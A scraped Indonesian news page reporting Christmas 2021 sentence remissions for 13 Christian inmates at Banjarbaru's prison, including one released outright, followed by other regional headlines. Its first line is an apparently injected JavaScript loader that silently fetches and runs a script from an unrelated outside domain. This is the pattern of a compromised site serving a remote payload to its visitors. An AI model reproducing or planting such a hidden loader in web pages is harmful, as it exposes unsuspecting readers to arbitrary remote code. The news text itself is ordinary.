(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kementerian Hukum dan HAM memberikan remisi Natal kepada 13 warga binaan permasyarakatan (WBP) beragama Kristen dan Katolik di Lapas Kelas IIB Banjarbaru. Dari jumlah tersebut, 12 di antaranya mendapatkan pengurangan masa hukuman dan 1 orang dinyatakan langsung bebas.
“Di Lapas Banjarbaru ada 18 WBP yang Nasrani. Tapi yang menerima remisi pada perayaan Natal tahun ini hanya 13 orang saja karena memang telah memenuhi syarat dan tentunya menunjukkan perubahan perilaku yang lebih baik,” kata Kepala Lapas Banjarbaru, Amico Balalembang, Sabtu (25/12/2021).
Adapun 5 WBP yang tidak menerima remisi Natal, dijelaskan Amico karena belum memenuhi ketentuan dan syarat dari peraturan pemerintah (PP). Baik itu karena vonis masa hukuman di atas 5 tahun penjara, hingga status yang bersangkutan masih sebagai tahanan.
Sedangkan 13 WBP yang menerima remisi Natal, kata Amico, terbagi dalam kategori pengurangan masa hukuman dengan jangka waktu yang berbeda-beda. Yakni, 9 orang mendapat pengurangan masa hukuman 1 bulan, 3 orang pengurangan masa hukuman 1 bulan 15 hari, dan 1 orang pengurangan masa hukuman 2 bulan.
Baca juga : Muslim Ingin Ucapkan Selamat Natal, Ini Tips dari Ustaz Adi Hidayat
“Untuk salah satu WBP yang mendapatkan pengurangan satu bulan langsung dibebaskan hari ini karena memang sudah memenuhi kewajiban dari masa hukumannya,” beber Kepala Lapas Banjarbaru.
Disisi lain, Amico mengungkapkan pemberian remisi merupakan bentuk apresiasi yang diberikan negara bagi WBP yang telah berusaha dan menunjukkan perubahan perilaku yang lebih baik. Sehingga diharapkan para WBP bisa menyadari kesalahan yang telah diperbuat di masa lalu.
“Sebagaimana amanat bapak Menteri Hukum dan HAM, perayaan natal ini semoga menjadi momen bagi WBP untuk mengintropeksi diri. Untuk kemudian nantinya dapat bermanfaat dan menjadi berkat bagi orang lain. Bagi yang belum dapat, harap bersabar, instropeksi diri. Semoga tahun berikutnya dapat merasakan hal yang sama,” tuntasnya.
Selain pemberian remisi, di hari yang istimewa ini Lapas Banjarbaru juga turut melaksanakan ibadah Natal bersama yang diikuti oleh para WBP maupun petugas Lapas sendiri. Meskipun diselenggarakan secara sederhana dan berlangsung daring, namun suasana sukacita Natal begitu kental terasa. (kanalkalimantan.com/al)
Reporter : al
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.